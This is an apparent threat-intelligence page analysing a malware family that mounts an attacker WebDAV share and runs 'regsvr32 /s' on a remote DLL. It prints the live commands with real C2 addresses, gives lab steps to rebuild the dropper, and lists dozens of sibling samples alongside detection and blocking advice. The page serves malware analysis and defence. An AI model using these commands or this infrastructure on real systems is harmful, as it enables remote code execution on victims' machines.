> Technique · WebDAV Regsvr32 DLL Sideloading_

~/packetpursuit $ cat /intel/techniques/webdav-regsvr32-dll-sideloading.md

typetechniqueconfidencehighcreated2026-06-14updated2026-07-16obfuscationscriptdefense-evasionexecutionc2-protocol

WebDAV Regsvr32 DLL Sideloading

What It Does

A defense-evasion execution chain in which a script (JScript, batch, or VBScript) mounts an attacker-controlled WebDAV share via net use \\host@port\DavWWWRoot\ and then calls regsvr32 /s to silently load a remote DLL. The DLL is fetched over HTTP (WebDAV) and executed in-process by the signed Windows binary regsvr32.exe, bypassing many application-control policies that only block unsigned or non-system executables.

Detection / Fingerprint

Look for these indicators in process-creation telemetry:

  • regsvr32.exe with a command line containing \\ (UNC path) and DavWWWRoot.
  • net.exe or cmd.exe spawning with net use + DavWWWRoot in the command line.
  • A .js or .bat parent spawning cmd.exe that then spawns regsvr32.exe.
  • No DNS resolution — WebDAV can use raw IP in UNC paths (\\45.9.74.13@8888\DavWWWRoot\).

Implementation Patterns Observed

In sample da58243c, the chain is staged by a polyglot JScript/batch file: ^[/intel/analyses/da58243c46d0bf1d3d12b48198587fc972cda5589c5039ec6e1ff27a8c0b72b8.html]

  1. JScript layer copies the file to %userprofile%\pryhpn.bat.
  2. JScript spawns cmd.exe /k to run the batch copy.
  3. Batch layer executes:
    net use \\45.9.74.13@8888\DavWWWRoot\
regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\67.dll
  4. regsvr32 silently loads 67.dll over HTTP/WebDAV.

Reproduce on Your Own VMs

  1. Set up a WebDAV server on a lab Linux box:
    pip install wsgidav cheroot
wsgidav --host=0.0.0.0 --port=8888 --root=/tmp/webdav --auth=anonymous
  2. Place a benign test DLL in /tmp/webdav/67.dll (any signed or test COM DLL).
  3. Build the polyglot dropper as shown in the unclassified-js-webdav-dropper analysis report.
  4. Run on a Windows VM by double-clicking the .js file.
  5. Verify with Process Monitor: wscript.exe → cmd.exe → net.exe → regsvr32.exe loading DLL from UNC.
  6. Test EDR detection: Does your EDR flag regsvr32.exe with a UNC path? Most do not by default.

Defensive Countermeasures

  • Block WebDAV at the perimeter: Deny outbound TCP 80/443 with DavWWWRoot in URL paths.
  • EDR rule: Alert on regsvr32.exe with any UNC path in the command line.
  • AppLocker / WDAC: Block regsvr32.exe from loading DLLs from network paths (requires advanced configuration).
  • Sigma: See rule in unclassified-js-webdav-dropper analysis.

Pages Where Observed

  • unclassified-js-webdav-dropper — entity page for this family

  • da58243c analysis report ^[/intel/analyses/da58243c46d0bf1d3d12b48198587fc972cda5589c5039ec6e1ff27a8c0b72b8.html]

  • ffd5d894 — pure batch variant, same WebDAV + regsvr32 chain with PowerShell hidden wrapper and WordPad decoy ^[/intel/analyses/ffd5d894f5e350baace2342fc3c2c7de63a82138469db1694c35c732cf0c9df4.html]

  • e6ebae6a — JScript dictionary lookup-table variant, WebDAV C2 dailywebstats.com:8888, 30122106810637.dll payload. Report written. ^[/intel/analyses/e6ebae6a06976402823cdc993d7ab941a39c357b848630bdff06113b95417f89.html]

  • f170f5a9 — pure batch, natural-language SET obfuscation (36 variables), WebDAV C2 45.9.74.36:8888, 223191424010705.dll payload, regsvr32 /s execution, wordpad decoy. Seventh confirmed sibling. Report written. ^[/intel/analyses/f170f5a93ff750cf93f0b22bcb0b67ef69da616cce709e84d05aea7cea562edd.html]

  • fa7e181d — JScript dictionary lookup-table obfuscation (36 entries), WebDAV C2 45.9.74.36:8888, 32238313189311.dll payload, regsvr32 /s execution, no PowerShell wrapper, no wordpad decoy. Eighth confirmed sibling. First dictionary-dialect sample against this C2. Report written. ^[/intel/analyses/fa7e181d44a11eb59503c7af81e1607dc4359689bb89c24e0ac5c31295b406d7.html]

  • batch-powershell-variable-expansion-obfuscation — same SET fragmentation pattern, different end goal (PowerShell cradle).

  • fb353965 — JScript dictionary lookup-table variant, split-C2 (cloudslimit.com:8888 for net use, cloudskimit.com:8888 for payload fetch), 44092138622199.dll payload, PowerShell -EncodedCommand wrapper. Ninth confirmed sibling. Report written. ^[/intel/analyses/fb3539652d08470a9ed48a32a43daa2e6bd83cb13456fe868311c760d02cd498.html]

  • cb5d302f — JScript dictionary lookup-table obfuscation (36 entries), WebDAV C2 45.9.74.36:8888, 17629508829793.dll payload, regsvr32 /s execution, no PowerShell wrapper, no wordpad decoy. Eleventh confirmed sibling. Fourth dictionary-dialect sample; identical execution chain to fa7e181d. Report written. ^[/intel/analyses/cb5d302f6577bd737bd3daf8e994120646b5340ec2dcedd017aac27496a48ae0.html]

  • cc90d6c — JScript dictionary lookup-table obfuscation (62 entries, alliterative three-word English phrase keys), WebDAV C2 dailywebstats.com:8888, 7110415629547.dll payload, regsvr32 /s execution, PowerShell -EncodedCommand wrapper, nested try/catch decoys. Twelfth confirmed sibling. Fifth dictionary-dialect sample; shares C2 host with e6ebae6a but uses distinct key naming convention. Report written. ^[/intel/analyses/cc90d6c54bfdfe7b7bc5ff2a92facb38f599efa43118f47ec09330414c3d0ccf.html]

  • ccb2d007 — JScript dictionary lookup-table obfuscation (62 entries, alliterative three-word English phrase keys), WebDAV C2 dailywebstats.com:8888, 25738778612530.dll payload, regsvr32 /s execution, PowerShell -EncodedCommand wrapper. Thirteenth confirmed sibling. Sixth dictionary-dialect sample; shares C2 host with e6ebae6a and cc90d6c. Report written. ^[/intel/analyses/ccb2d007b367cbea45bb289fbcb0b01f2ea7aea932118e06d213e36a7b0c2ae9.html]

  • d0124d62 — JScript dictionary lookup-table obfuscation (36 entries, random noise keys), WebDAV C2 45.9.74.36:8888, 1783941328258.dll payload, regsvr32 /s execution, no PowerShell wrapper, no wordpad decoy, no sandbox gate. Fifteenth confirmed sibling. Fifth dictionary-dialect sample on 45.9.74.36:8888. Report written. ^[/intel/analyses/d0124d62f526f1ba31cd9c13c517e4cf208c5871df148ed35700149918a07e96.html]

|- d36d84f2 — Pure batch, shared-prefix SET obfuscation (wdopm, 36 entries), WebDAV C2 45.9.74.32:8888, 639.dll payload, rundll32 ... ,entry execution, wordpad decoy. Seventeenth confirmed sibling. Identical execution engine to e777fd64, ed6b2cd3, c6e24c16, and ceacabb4; only SET prefix and payload filename differ. Report written. ^[/intel/analyses/d36d84f2346a7d9c03bae733f80b1640ebc81b2a6509f395fa090f896a117be3.html]

|- dc9b0407 — 673121895166824266.bat, pure batch, shared-prefix SET obfuscation (nxbas, 36 entries), WebDAV C2 45.9.74.32:8888, 1369.dll payload, rundll32 ... ,entry execution, wordpad decoy, PowerShell -windowstyle hidden wrapper. Nineteenth confirmed sibling. Identical execution engine to the 45.9.74.32:8888 cluster; only SET prefix and payload filename differ. Report written. ^[/intel/analyses/dc9b0407bfe2468576b9a012abe289885167fbcf09251eb39487c6e92c9e2773.html]

|- d90baa30 — JScript dictionary lookup-table obfuscation (36 entries, random noise key names), WebDAV C2 45.9.74.36:8888, 271121311026510.dll payload, regsvr32 /s execution, no PowerShell wrapper, no wordpad decoy, no sandbox gate. Eighteenth confirmed sibling. Second noise-key dictionary observed in family (after d0124d62). Report written. ^[/intel/analyses/d90baa30d71388a99be3861ac53164533db2ab2de75ff3f9e3a5396f680fc19b.html]

|- df42ecf8 — 1669716012341829774.js, JScript dictionary lookup-table obfuscation (62 entries, random noise keys, galo object), WebDAV C2 cloudslimit.com:8888 (single domain for mount + fetch), 20628311887910.dll payload, regsvr32 /s execution, PowerShell -EncodedCommand wrapper, no wordpad decoy, no sandbox gate. Twentieth confirmed sibling. First 62-entry noise-key dictionary variant. Report written. ^[/intel/analyses/df42ecf860b51e0fe4fd681f38b8eb69d27ea9a19a355af652ccc9661a76da87.html]

  • be58d381 — JScript dictionary lookup-table obfuscation (36 entries, random noise keys, iysqohpjciwm object), WebDAV C2 45.9.74.36:8888, 5047102111834.dll payload, regsvr32 /s execution, no PowerShell wrapper, no wordpad decoy, no sandbox gate. Thirty-first confirmed sibling. Ninth 36-entry noise-key variant on 45.9.74.36:8888 infrastructure; near-identical execution chain to fa7e181d, cb5d302f, d0124d62, d90baa30, a435a37b, aa8ff8b9, ade6cf68, and b612dd70. Static-only (JScript, not a binary). Report written. ^[/intel/analyses/be58d381d9e917fe99ea9d0f87f27a81d80ef8f10e6b126d021f3d2684246664.html]

  • 92ce4217 — 27746239150168146.js, JScript dictionary lookup-table obfuscation (36 entries, random noise keys, fcyszym object), WebDAV C2 45.9.74.36:8888, 88503242411784.dll payload, regsvr32 /s execution, no PowerShell wrapper, no wordpad decoy, no sandbox gate. Thirty-second confirmed sibling. Tenth 36-entry noise-key variant on 45.9.74.36:8888 infrastructure; near-identical execution chain to fa7e181d, cb5d302f, d0124d62, d90baa30, a435a37b, aa8ff8b9, ade6cf68, b612dd70, and be58d381. Static-only. Report written. ^[/intel/analyses/92ce4217922acf56056745b6166725d5c01707658501873b2253d482a9db6481.html]

  • 94686f16 — 2196124770121515105.js, JScript dictionary lookup-table obfuscation (62 entries, three-word natural-language compound-phrase keys, victoriousworryfilm object), WebDAV C2 cloudslimit.com:8888 (single domain), 218791486131743.dll payload, regsvr32 /s execution, PowerShell -EncodedCommand wrapper, nested try/catch decoys. Thirty-third confirmed sibling. Third natural-language compound-phrase variant on cloudslimit.com infrastructure. Report written. ^[/intel/analyses/94686f16158a32fec0f36ef888a4c20ca423fdd0dfd4992df7d2912befd67001.html]

||- aac0198b5 — 10014266852223631224.js, JScript dictionary lookup-table obfuscation (62 entries, natural-language compound-phrase keys, e.g. erectaverageavoid, destructionthunderrainstorm), WebDAV C2 cloudslimit.com:8888 (single domain), 176642570432520.dll payload, regsvr32 /s execution, PowerShell -EncodedCommand wrapper, nested try/catch decoys, no wordpad decoy, no sandbox gate. Twenty-fifth confirmed sibling. Second natural-language (non-alliterative, non-noise) key style observed on cloudslimit.com infrastructure. Report written. ^[/intel/analyses/aac0198b599d6d2b6d4aee41548834abc3c952e448530ecb48cc003a18a73c10.html]

||- ade6cf68 — 3285140421761322433.js, JScript dictionary lookup-table obfuscation (36 entries, random noise keys, drqpclrtazhhywz object), WebDAV C2 45.9.74.36:8888, 3118252697895.dll payload, regsvr32 /s execution, no PowerShell wrapper, no wordpad decoy, no sandbox gate. Twenty-sixth confirmed sibling. Seventh 36-entry noise-key variant on 45.9.74.36:8888 infrastructure. Report written. ^[/intel/analyses/ade6cf68d1448793cf8a2af4b5d526c53e07f3484265d92e94da856331055451.html]

||- 976dc607 — 243552672577722477.bat, pure batch, natural-language SET obfuscation (36 variables, e.g. squealpremiumcollect, deadperfectabrasive), WebDAV C2 45.9.74.36:8888, 8745118644834.dll payload, regsvr32 /s execution, color f0 && start wordpad decoy, PowerShell -windowstyle hidden wrapper, leading word-salad padding (~40 lines of natural-language noise before :signal label). Thirty-fourth confirmed sibling. Static-only (batch, not a binary). Report written. ^[/intel/analyses/976dc6079cdd2f55efaccf08f0b16317523e6143dddbe825a82aa23be9d74acc.html]

||||- 682bea06 — 112802522335817807.bat, pure batch, natural-language SET obfuscation (36 English-phrase variables, e.g. northfemaledifferent, icicledepressedmatch), WebDAV C2 45.9.74.36:8888, 28078514069.dll payload, regsvr32 /s execution, color f0 && start wordpad decoy, PowerShell -windowstyle hidden wrapper, 48 lines of leading word-salad padding before :wind label. Thirty-seventh confirmed sibling. Near-identical execution engine to ffd5d894, e11665cf, dac5e0ee, b2a097ba, b32ea531, 976dc607, 9bea44f4, and a1b6e36f; only SET phrases, payload filename, and padding volume differ. Static-only (batch, not a binary). Report written. ^[/intel/analyses/682bea06c5cfeabc74f1a08f5a0383bb48c6787b9c08d4371efa2c3c7753bd55.html]

||- 69f29779 — 15497122031997232427.js, JScript dictionary lookup-table obfuscation (62 entries, natural-language compound-phrase keys, agreeluxuriantpolitical object), WebDAV C2 cloudslimit.com:8888 (single domain), 94001122714432.dll payload, regsvr32 /s execution, PowerShell -EncodedCommand wrapper, nested try/catch decoys (fetchplacehouse, unitesuggestiondecorous), no wordpad decoy, no sandbox gate. Thirty-eighth confirmed sibling. Fourth 62-entry natural-language compound-phrase variant on cloudslimit.com infrastructure; shares execution engine with aac0198b5, a3419c27a, and 94686f16 but uses completely disjoint key set. Report written. ^[/intel/analyses/69f297794c23d603d869d588404ef7f93f9a525be50a7029fe0b1c61a329de38.html]

|||- 6b7435afd70e — 1655510676587224552.js, JScript dictionary lookup-table obfuscation (62 entries, random noise-key strings, aaucxocqrqtxmcvuir object), WebDAV C2 dailywebstats.com:8888 (single domain), 2934213284196.dll payload, regsvr32 /s execution, PowerShell -EncodedCommand wrapper, nested try/catch decoys (dlavccsqfk, ezinvaszmrghuq), no wordpad decoy, no sandbox gate. Thirty-ninth confirmed sibling. Fifth 62-entry dictionary variant on dailywebstats.com:8888 infrastructure; shares C2 host with e6ebae6a, cc90d6c, and ccb2d007 but uses a completely new noise-key set. Static-only. Report written. ^[/intel/analyses/6b7435afd70e75ca5278e20f018ab17768b7b3be26c31dfbbc9d927dc455f2e2.html]

||||- 6d9546a6 — 2712819041088312742.js, JScript dictionary lookup-table obfuscation (62 entries, three-word non-alliterative English compound-phrase keys, ruthlesssoreeyes object), WebDAV C2 cloudslimit.com:8888 (single domain), 48271327530129.dll payload, regsvr32 /s execution, PowerShell -EncodedCommand wrapper, nested try/catch decoys (ironfanaticalmuscle, wonderdamawake), no wordpad decoy, no sandbox gate. Fortieth confirmed sibling. Sixth distinct 62-entry dictionary key-naming dialect (non-alliterative compound phrases) on cloudslimit.com infrastructure; shares execution engine with aac0198b5, a3419c27a, 94686f16, and 69f29779 but uses completely disjoint key set. Static-only (JScript, not a binary). Report written. ^[/intel/analyses/6d9546a642119939153c1d31eba6f20b724b80a6893e44fd4b894a1656762163.html]

||||||||- 6f1d7c74 — 168463451128271716.js, JScript/batch polyglot, shared-prefix SET obfuscation (edlcdp, 62 entries), WebDAV C2 45.9.74.13:8888, 569.dll payload, regsvr32 /s execution, JScript self-replication to %userprofile%\mqxhrg.bat via WScript.Shell.Run('cmd /k copy ...'). Forty-second confirmed sibling. Near-identical to da58243c (same C2 IP, same polyglot pattern, same 62-entry cardinality); differs only in SET prefix, payload filename, and staging filename. Static-only (JScript, not a binary). Report written. ^[/intel/analyses/6f1d7c74e68fc707cf97686965acedd80b8f2e809618589a2a4d4cc0fa08a36c.html]

|- 019d2f45 — 1073918301984921800.js, JScript/batch polyglot, shared-prefix SET obfuscation (adbasf, 62 entries), WebDAV C2 45.9.74.13:8888, 955.dll payload, regsvr32 /s execution, JScript self-replication to %userprofile%\hejgzq.bat via WScript.Shell.Run('cmd /k copy ...'). Seventy-first confirmed sibling. Near-identical execution engine to da58243c and 6f1d7c74 (same C2 IP, same polyglot pattern, same 62-entry cardinality); differs only in SET prefix, payload filename, and staging filename. No PowerShell wrapper, no wordpad decoy, no sandbox gate. Static-only (JScript, not a binary). Report written. ^[/intel/analyses/019d2f45acc4244e7fa8a5cb8e0897858b9884a15eb68162c8ea95778dd71b3a.html]

|||- 6f72a3a9 analysis — 62-entry natural-language compound-phrase dictionary variant (hovertastefulconnection object), WebDAV C2 dailywebstats.com:8888, 314843136226301.dll payload. Forty-third confirmed sibling. Report written. ^[/intel/analyses/6f72a3a915d69e757c8a7114f42c28ad6f8fdc6e96b5ccffa078c39e4df6643a.html]

|||||||- 33c0bfaf — 154734291294621066.js, JScript dictionary lookup-table obfuscation (62 entries, natural-language compound-phrase keys, tworemindgentle object), WebDAV C2 cloudslimit.com:8888 (single domain), 9962227832088.dll payload, regsvr32 /s execution, PowerShell -EncodedCommand wrapper, nested try/catch decoys (rapidfancyrejoice/spraycurvetrouble, nightarithmeticweary/niceshytooth), no wordpad decoy, no sandbox gate. Fifty-fourth confirmed sibling. Seventh distinct 62-entry natural-language compound-phrase variant on cloudslimit.com infrastructure; shares execution engine with aac0198b5, a3419c27a, 94686f16, 69f29779, 6d9546a6, and 5931df0b but uses completely disjoint key set. OpenCTI mislabelled strelastealer. Static-only (JScript, not a binary). Report written. ^[/intel/analyses/33c0bfaf30f6bf50b1a7d4315702f2bc88f5f252945ab34dd1e26111b7b73ff8.html]

||- 385c2f05 analysis — 62-entry random-noise dictionary variant (qasxhtigcgmdn object), WebDAV C2 dailywebstats.com:8888, 30508287977215.dll payload. Fifty-seventh confirmed sibling; fifth 62-entry random-noise variant on dailywebstats.com:8888 infrastructure. Static-only. ^[/intel/analyses/385c2f0552de84ad8fb34a327ecc025b59de267a1e16f4ecd109778a54170af6.html]

||- 41d04ad5 analysis — 36-entry random-noise dictionary variant (ilsqdjmcpvjw object), WebDAV C2 45.9.74.36:8888 (single domain), 135361106517425.dll payload, regsvr32 /s execution, no PowerShell wrapper, no wordpad decoy, no sandbox gate. Fifty-ninth confirmed sibling; twelfth distinct 36-entry noise-key variant on 45.9.74.36:8888 infrastructure. Static-only. ^[/intel/analyses/41d04ad5999555d632e0fdf4cd1aba63bc4d4abe319ef699c6b4a09219b7b40a.html]

|- 438fce55 analysis — 36-entry noise-key dictionary variant (wloiyndlclbycxtcnr object), WebDAV C2 45.9.74.36:8888 (single domain), 128892711629914.dll payload, regsvr32 /s execution, no PowerShell wrapper, no wordpad decoy, no sandbox gate. Sixty-second confirmed sibling; thirteenth distinct 36-entry noise-key variant on 45.9.74.36:8888 infrastructure. Static-only. ^[/intel/analyses/438fce55de8d3e949b054332b416c1c910340aeede947279ca3802382aa1d9e3.html]

||- 093a56f6 analysis — 62-entry noise-key dictionary variant (yvyb object), WebDAV C2 dailywebstats.com:8888 (single domain), 17856160893235.dll payload, regsvr32 /s execution, PowerShell -EncodedCommand wrapper, no wordpad decoy, no sandbox gate. Seventy-second confirmed sibling; smallest dictionary-dialect sibling observed (9.3 KB). Static-only. ^[/intel/analyses/093a56f623c12c049ac23634c42b38f764c1768ba25e56304806f2ffb15b23bb.html]

||- 0e45e1b2 analysis — 62-entry noise-key dictionary variant (cutikiyr object), WebDAV C2 dailywebstats.com:8888 (single domain), 31643864132689.dll payload, regsvr32 /s execution, PowerShell -EncodedCommand wrapper, no wordpad decoy, no sandbox gate. Seventy-third confirmed sibling. Static-only. ^[/intel/analyses/0e45e1b2fa3de6899caa8e401771825a5913ca3108e7730900835ee9d7b8c8a3.html]

||- 4889c168 analysis — pure batch shared-prefix SET obfuscation (epykh, 36 variables), WebDAV C2 45.9.74.32:8888, 4551.dll payload, rundll32 ...,entry execution, color f0 && start wordpad decoy, PowerShell -windowstyle hidden wrapper, three-line minimal footprint. Sixty-third confirmed sibling; smallest pure-batch variant in the family. Static-only. ^[/intel/analyses/4889c1683ff9be39c6fdfc9f1def785309c7a9ab74d89a3bf4f6e4bca4990caa.html]

|||- be172014ae92531a374ce8b8ebc0af21df0949c8ebd99879352f8e6f3577c2a3 — JScript dictionary lookup-table obfuscation (62 entries, random noise keys, 534-char variable name), WebDAV C2 94.159.113.79:8888 (single domain), payload 150132177020171.dll, regsvr32 /s execution, PowerShell -EncodedCommand wrapper. Seventy-fourth confirmed sibling. Report written. ^[/intel/analyses/be172014ae92531a374ce8b8ebc0af21df0949c8ebd99879352f8e6f3577c2a3.html]

||- ddf0c8bd analysis — JScript noise-variable concatenation obfuscation (65 entries, random lowercase noise names 15–20 chars, no dictionary), WebDAV C2 94.159.113.204:8888 (single domain), payload 32135222519755.dll, regsvr32 /s execution, PowerShell -EncodedCommand wrapper, timeout 1 anti-emulation delay, no wordpad decoy, no sandbox gate, no batch/polyglot layer, no self-replication. Eightieth confirmed sibling. Second pure-JScript noise-variable concatenation variant after fa8c6d74 (65th sibling); same C2 subnet but new payload filename. Static-only. ^[/intel/analyses/ddf0c8bd001c9f8e38eea6cbc966323da45a7e99179fb638cb7a739d36569ee5.html]

References

  • ATT&CK T1218.010 (Regsvr32): https://attack.mitre.org/techniques/T1218/010/
  • MITRE ATT&CK: WebDAV may also map to T1071.001 (Application Layer Protocol: Web Protocols).